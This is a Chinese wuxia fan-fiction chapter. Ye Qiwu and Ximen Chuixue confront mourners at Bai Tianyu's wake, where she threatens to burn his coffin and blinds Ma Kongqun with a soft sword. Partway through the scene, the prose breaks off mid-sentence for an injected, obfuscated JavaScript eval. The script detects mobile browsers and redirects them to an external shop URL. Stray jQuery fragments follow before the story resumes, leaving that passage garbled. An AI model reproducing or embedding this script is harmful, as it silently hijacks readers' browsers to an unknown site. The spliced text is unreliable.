夜。
金雕赫利张开巨大的翅膀,在月光下无声滑翔。大漠在身下铺展开来,银白色的沙丘连绵起伏像一片凝固的海。月亮很圆很亮,挂在半空,清辉如练,把整片大漠照得如同白昼。沙粒在月光下泛着细碎的银光,仿佛每一粒都在呼吸。
叶栖梧盘腿坐在金雕背上,手里翻着一沓纸。风很大,吹得纸页哗哗作响,但她按得很稳。她的头发事先扎起来了——利落的马尾,一根红发带系得紧紧的,碎发被吹到耳后,露出整张脸。月光照在她脸上,白得发光,眉目间的疏朗被镀上一层冷白。
她穿着一身黑色的劲装:窄袖,束腰,裤脚扎进靴子里。没有任何装饰,红宝石坠子摘了,银环铃铛摘了,金步摇摘了,翡翠耳坠也摘了。干干净净,利利索索。月光下,黑衣衬着白肤,红发被风吹动,像一幅泼墨写意画。
西门吹雪坐在她身后,白衣胜雪,月光下白得刺眼。头发没有扎,黑发被风吹得到处乱飞,遮住半张脸,几缕发丝贴在颧骨上,随着呼吸微微起伏。
他手里也拿着一沓纸,但没有在看。他在看前方——大漠的尽头,神刀堂的方向。目光穿过风沙,穿过月光,落在那片黑沉沉的建筑轮廓上,冷而沉,像一头蛰伏的兽。
叶栖梧回头看了他一眼,黑发糊了他一脸,她忍住笑。
“把头发扎上吧。”
她从袖子里抽出一根发带——黑色的,和她用的那根不一样。没有问他要不要,直接递过去,发带在风里飘了一下,尾端扫过他的手背。西门吹雪伸手接过,没有道谢,他单手将头发拢到脑后,扎起来,动作很快,干脆利落,发带在指间绕了两圈,系紧。露出的那张脸在月光下白得像玉,眉骨和鼻梁的线条锋利如刀。
叶栖梧托着下巴看着他。“为什么不换身黑衣服呢?白衣服很容易弄脏的。”
西门吹雪看了她一眼,“没必要。”
你高兴就好。叶栖梧是个有边界感的人——别人不想做的事,她不会逼;别人不想说的话,她不会问。她低头继续翻资料。
这是从玉罗刹那里拿来的。厚厚一沓,纸页泛黄,边角微微翘起。记录着每一个参与追杀她的人的名字、身份、武功、背景、住址。详细到可怕,墨迹工整如刻。有些人的资料只有一行字,寥寥数语;有些人的资料密密麻麻写满整页,蝇头小楷挤在一起,像蚂蚁排成的队列。
叶栖梧翻到其中一页,眉头皱了一下。
魔教公主,花白凤。
资料写得很详细——什么时候离开魔教的,什么时候遇到白天羽的,什么时候和白天羽在一起的,以及什么时候怀孕的。
叶栖梧看着那份资料,脑海里浮现出一个女人的脸。她没见过花白凤,但她能想象——一张被爱情烧毁的脸。
为了白家的刀法去接近白天羽——这是任务。她父亲输给了白天羽,输的不仅仅是武功,还有尊严。所以派女儿去偷,去偷一个男人的刀法,用身体,用美貌,用手段。
可花白凤爱上了白天羽,这是失职。一个被派去执行任务的人,爱上了任务对象,不管那个人是谁,不管那个人值不值得爱——这都是失职。
叶栖梧不理解,她不能理解。为了一份刀法去接近一个人,已经够蠢了。更蠢的是,接近了,还爱上了——爱上一个人渣,爱上一个有家室的人渣,爱上一个对女人从来不会认真的人渣,爱到想要用孩子留下他。
她翻到下一页,不是花白凤了,是另一个人。
叶栖梧合上资料。“你觉得这份资料有几分真?”她问。
西门吹雪没有回答,显然他也在怀疑。
“我是真的怀疑。”叶栖梧说,手指在资料的封皮上敲了敲,发出笃笃的闷响,“这份资料……夹带私货了吧?这算他竞争对手吧?”
还是没有回答。
叶栖梧也不在意。她翻回花白凤那一页,又看了一眼,叹了口气。“为了偷对手家的刀法去接近白天羽,然后爱上任务对象……”她顿了顿,“两个人,一个图刀法,一个图色。都不是啥好人。只不过白天羽段位更高些罢了。”
她想了想,找到了一个准确的词。“王八看绿豆。”
西门吹雪没有接话,他听到了,但没有接,或者不知道怎么接。
他想到了另一些事。
那些谣言是怎么说的——说叶栖梧追求白天羽不成,因爱生恨。说她杀了白天羽,屠了满门;说她是妖女,说她勾引、求爱、因爱生恨。
西门吹雪对女性有傲慢的一面,他从不掩饰。在他的世界里,女人大多是麻烦的、软弱的、容易感情用事的。她们会因为爱而不得而哭,会因为男人的背叛而恨,会因为一句甜言蜜语而交出自,他见过太多这样的女人,他不屑。
但这不代表他会相信那些恶毒的谣言。
叶栖梧不是那样的女人,她是另一种。她杀了白天羽,不是因为爱,是因为烦。她把白天羽的人头挂在城门上,不是因为恨,是因为不知道该怎么处理尸体。
她被人追杀,被人造谣,被人骂作妖女——她没有哭,没有解释,没有求任何人帮忙。她只是戴上面具,继续画画。
西门吹雪想起大漠里的那一战,她的招——阴、毒、狠、快,招招奔要害,招招不留余地。那是杀人的招,不是比武的招。
教她这些的人一定不是好人,但她自己呢?
她把最后一粒药留给他,把半块干粮掰给他,自己咽下苦药,忍着疼,不哭不叫。她把自己的名字告诉他,是叶栖梧。
凤非梧桐不栖的栖梧。这样的一个人,不该被那些肮脏的谣言沾上。他不乐意听。那些说叶栖梧纠缠白天羽的话,他一个字都不想听。不是因为他在乎她,不是因为他们是朋友,不是因为任何说得出口的理由。
他只是觉得——那些话,是在亵渎她。
“到了。”
金雕赫利略过大地,翅膀一收,稳稳落在地面上。落地的瞬间,爪子在沙地上抓出几道深深的痕迹,扬起一小片尘雾。
神刀堂的大本营。高大的门楼,朱红色的大门,两边蹲着两只石狮子。石狮子的眼睛被漆成了黑色,在月光下虎视眈眈,像要活过来。但其中一只的耳朵缺了一角,另一只的爪子磨损了——曾经的气派已经褪色,只剩下一种虚张声势的空壳。牌匾上写着三个大字——“神刀堂”。白幡从门楼上垂下来,一面一面,在夜风中轻轻晃动,像招魂的手。
叶栖梧看着那些白幡,忽然笑了。“都过去那么久了白天羽还没有下葬?”她歪着头想了想,“太好了。刚好给他来个挫骨扬灰。”
她不是在开玩笑,语气很淡,像在说“今天天气不错”。在这个年代,挫骨扬灰是犯大忌、缺大德的事。人死为大,入土为安。掘墓鞭尸已经是天理难容,何况挫骨扬灰。但她说得云淡风轻。
西门吹雪什么也没说,脸上一点反应都没有。他不介意。白天羽是死是活,埋在哪儿,骨灰还在不在——他都不介意。他只是站在那里,白衣在月光下白得刺眼,手垂在身侧,五指微曲。
守门的弟子看见了他们。两个人,一黑一白,从月光下走过来,差点以为是来勾魂的黑白无常,虽然不是黑白无常也的确是来勾魂索命的。
黑色的那个女人,红发,扎着马尾,一身黑色劲装,腰间的软剑像一条银白色的腰带。白色的那个男人,黑发扎起来了,白衣胜雪,腰悬黑剑。
守门弟子的脸色变了,像被人从脸上抽走了所有血色。
“你……你们——”
他认出了他们了。那个红头发的女人,那个白衣的男人。前者是杀了白天羽的人,屠了白家满门的人,后者是被连累进去的,但也被马堂主带人去追杀,这两个人竟然从大漠里活着走出来了。
他的手在抖,脚也在抖,腿像被钉在地上。他想跑但腿不听使唤,他张着嘴发不出声音,喉咙里只挤出几声干涩的气音。
叶栖梧从他身边走过,看都没看他一眼。西门吹雪也没有看他。两个人就这样大摇大摆地走进了神刀堂的大门,像回家一样。
正堂。灯火通明——不是喜庆的那种亮,是守灵的亮惨白惨白的,照得人脸像纸。十几口棺材停满了整个大堂,白布,白幡,白蜡烛。哭声,哀乐,烧纸钱的烟,混在一起,又闷又呛。人很多,密密麻麻挤在一起。白天羽的旧部,白天羽的朋友,白天羽的结义兄弟,还有那些来帮忙的江湖人。
十几口棺材,大的,小的,长的,短的。有的里面躺着老人,有的里面躺着女人,有的里面躺着孩子。白家满门,老弱妇孺,一个不留。十几口棺材,整整齐齐停在这里,不知是谁买的,也许是马空群,也许是易大经,也许是那些收了钱来帮忙收尸的人。
叶栖梧走进正堂,看着那十几口棺材。她的目光从最小的那口扫过——那是孩子的棺材,短得不像话,漆是新的,发亮,亮得刺眼。她的目光停了一瞬,收回来了。
西门吹雪跟在她身后,白衣在烛火中忽明忽暗。他的脚步声很轻,几乎没有声音,但他站在那里,整个正堂的温度像降了几度。
正堂里的人发现了他们。
哭声停了,哀乐停了,烧纸钱的烟还在飘。所有人都看着门口——那两个走进来的人。黑衣,白衣,红发,黑发。月光从他们身后照进来,把影子拉得很长,像两个人,又像一个人。
有人叫出了声。
“是……是她!”“那个妖女!”“她没死!”“西门吹雪——那是西门吹雪!”声音从不同的角落炸开,像油锅里溅了水。
人群往后退,不是退一步两步,是一窝蜂地往后挤。人撞人,凳子倒了,蜡烛灭了,纸钱洒了一地。有人踩到了自己的衣袍下摆摔倒在地,爬起来的时候手在发抖。
叶栖梧扫视了一圈,她收回目光,落在正堂最中间的棺材上。那口棺材最大,最厚,最气派——金丝楠木的,漆了朱红色,棺材前面的牌位上写着“神刀堂堂主白天羽之灵位”。
白幡,白布,白蜡烛,整整齐齐。
叶栖梧看着那口棺材,什么也没说。
然后她动了。右手一挥,掌风拍出,棺材飞了出去,撞上墙壁——轰!棺材盖飞了,棺材落地棺材盖翻了。
正堂里尖叫四起,女人的尖叫声,男人的粗喘声,还有人念起了佛号。叶栖梧没有看那口棺材,一眼都没有看。她怕做噩梦。白天羽的头被她挂在城门上挂了一天,尸身被她派银犬拖出去喂狼了,不知道有没有找回来。也许棺材里是空的,也许里面放了别的东西,她不知道,她不想知道。
她拎起旁边的一桶火油,有人放在那里的,也许是用来点灯的,也许是做别的用的。拎起来沉甸甸的,油面在月光下泛着暗红色的光。她拎起来,纵身一跃——稳稳落在棺材檐上。
居高临下,站得很稳,火油高举过头。所有人都在看。月光从门口照进来,照在她身上——黑衣,红发,白脸。高举起的那桶火油在月光下泛着光,油面微微晃动,反射出碎银般的光点。
“参与过那晚追杀的人都给我滚出来。”
她的声音不大,但整个正堂都听得清清楚楚。“不然——”她把火油晃了晃,油面荡了一下,几滴油溅出来滴在地上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593862|205530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,发出轻微的噗噗声。“我就把你们堂主挫骨扬灰。”
“哪里来的妖女,胆敢造次!”
人群中跳出一个中年男人。穿着一身灰色长袍,手里握着一把剑。不认识的人,某个不知名的江湖人士。也许是白天羽的朋友,也许是受托撑场面的。他的声音很大,但他的手在抖,剑尖在烛火下微微发颤。
“白兄弟急公好义,岂是你这个求爱不成的妖女能污蔑的!”
叶栖梧看了那个男人一眼,没有说话。她弯下身子,附到西门吹雪耳边。“他骂我妖女,对我伤害为零。但他骂我对这个杂碎求爱不成——真的恶心到我了。”她的声音很小,只有西门吹雪能听到,气息拂过他的耳廓,带着一丝温热。
西门吹雪没有任何表情,但他的眼睛看了一眼那个中年男人。只一眼。那个男人像被什么无形的东西击中了,手猛地一抖,剑差点脱手,他的嘴唇哆嗦了两下,闭上嘴退了回去。
叶栖梧直起身子,手里还拎着火油。她晃了一下,姿势变了,火油桶歪了。油从桶口流出来,一滴,两滴,三滴,滴进了棺材。所有人的脸色都变了,他们想去阻止,但不敢动。因为西门吹雪站在那里,白衣,新剑,没有表情。
“找死就来。”
四个字,不高不低,足够每一个人听到。像冰锥,一根一根钉进每个人的耳膜。
人群往后退,退得更远,桌椅被推得东倒西歪。叶栖梧看着西门吹雪的侧脸,弯了一下嘴角。
“够了。叶姑娘。”
马空群从人群后面走出来,披麻戴孝,头上缠着白布,腰上系着麻绳。白布的边缘剪得参差不齐,像是匆忙间随手撕的。眼圈红红的,像是哭过,但哭得太用力了,眼睛肿得像核桃,他看上去真的很难过。
叶栖梧看着他,披麻戴孝的马空群,那晚追杀她的时候他穿的是劲装,今天换了孝服。
“我知道你对大哥念念不忘。”马空群说。他抬起头,看着站在棺材檐上的叶栖梧,声音很沉,带着一种被压抑的悲痛。“但大哥以及他的家人都已经死在你的手上。死者已逝,再深的爱恨情仇也该放下了。”
叶栖梧看着他,没有做声。
“你杀了大哥,我不怪你。江湖儿女,恩怨情仇,本就说不清。但你已经杀了大哥,屠了满门。够了!该收手了。难道你真的要把大哥挫骨扬灰才肯罢休吗?”
叶栖梧看着他,还是没有回答。正堂里很安静,所有人都在看她,不知道她在想什么。
马空群也在看她,他不知道她在想什么,但他知道,他说的每一个字都是在踩她的雷点——说她对白天羽念念不忘,说她因爱生恨,说她爱恨情仇说不清,说他“不怪她”。
银光一闪。
没有人看清发生了什么,只看到一道光。很亮,很短,像闪电,像一柄无形的刀。那道光从栖梧手中飞出,快到空气都来不及发出破风声。马空群捂住了左眼,血从他的指缝间涌出来,顺着脸颊往下流,滴在白布上,滴在麻绳上。
他跪下去,没有叫,咬着牙忍着。身体在发抖,但咬着牙,一声没出。额头重重磕在地上,发出沉闷的咚的一声。
“眼睛不好使就别用了。”
叶栖梧手里握着一把剑——软剑,薄如蝉翼,银白如月。剑身很薄,薄到能透过剑刃看到后面的烛火。剑尖上挂着一滴血,顺着剑刃往下滑,滑到剑格,停在护手处没有滴下去,颤巍巍的,像一颗红色的泪珠。
这把剑是离开玉罗刹那里之前挑的。霜月缠云索断了,她没法修,没有趁手的兵器。玉罗刹说,他的兵器库随便挑,你爱拿什么拿什么。她挑了这把软剑——最趁手的,最轻的,最薄的。缠在腰间不占地方,不知道的人以为是一条银白色的腰带。
用起来趁不趁手,试了一次就知道了,用得很趁手。现在就是证明——一剑,刺瞎了马空群的左眼。
角度刁钻,出手极快,收剑更疾。没有人看到她的剑是怎么出的,也没有人看到是怎么收的。只看到银光一闪,只看到马空群捂着眼睛跪在地上。
叶栖梧站在棺材檐上,居高临下。软剑在月光下轻轻颤动,像一条银蛇在吐信,剑刃反射出的光斑在马空群的白布孝服上跳动。
“还有谁?”
正堂里没有人说话,十几口棺材,白幡,白布,白蜡烛。烛火在夜风中摇曳,把影子投在墙上,忽大忽小,像鬼影。黑衣的叶栖梧站在棺材檐上,白衣的西门吹雪站在棺材旁边,月光照着他们。马空群捂着眼睛跪在地上,血从指缝间往下滴,在地上汇成一小滩。
没有人敢动,一个红发妖女已经够有威慑力了,更何况西门吹雪还没有拔剑。剑在鞘中,在他腰间,他的手垂在身侧,没有碰剑。所有人都知道,他拔剑的时候,会更快,快过刚才那一道银光,快过所有人的眼睛,快到死都不知道自己是怎么死的。
所以没有人敢动。
马空群抬起头,左眼在流血,右眼在看她。
月光,黑衣人,红头发。像画,像地狱里的画。
“为什么都觉得我会喜欢一个有家室的男人呢,明明我面前就有更好的”下巴抵在西门吹雪的肩膀上,蹭了蹭,像一只猫在宣示领地。红发从他肩头滑落,几缕贴在他白衣上,像火焰落在雪地里。
这一刻的栖梧才符合才符合他们骂他的妖女设定嘛!
这个对白天羽都不屑一顾的女人头一次展现出了自己的柔情,踩在白天羽的棺材上对另一个男人展示自己的柔情。
西门吹雪听到宣传有不少人的呼吸声变得粗重了,他的手向剑柄探去。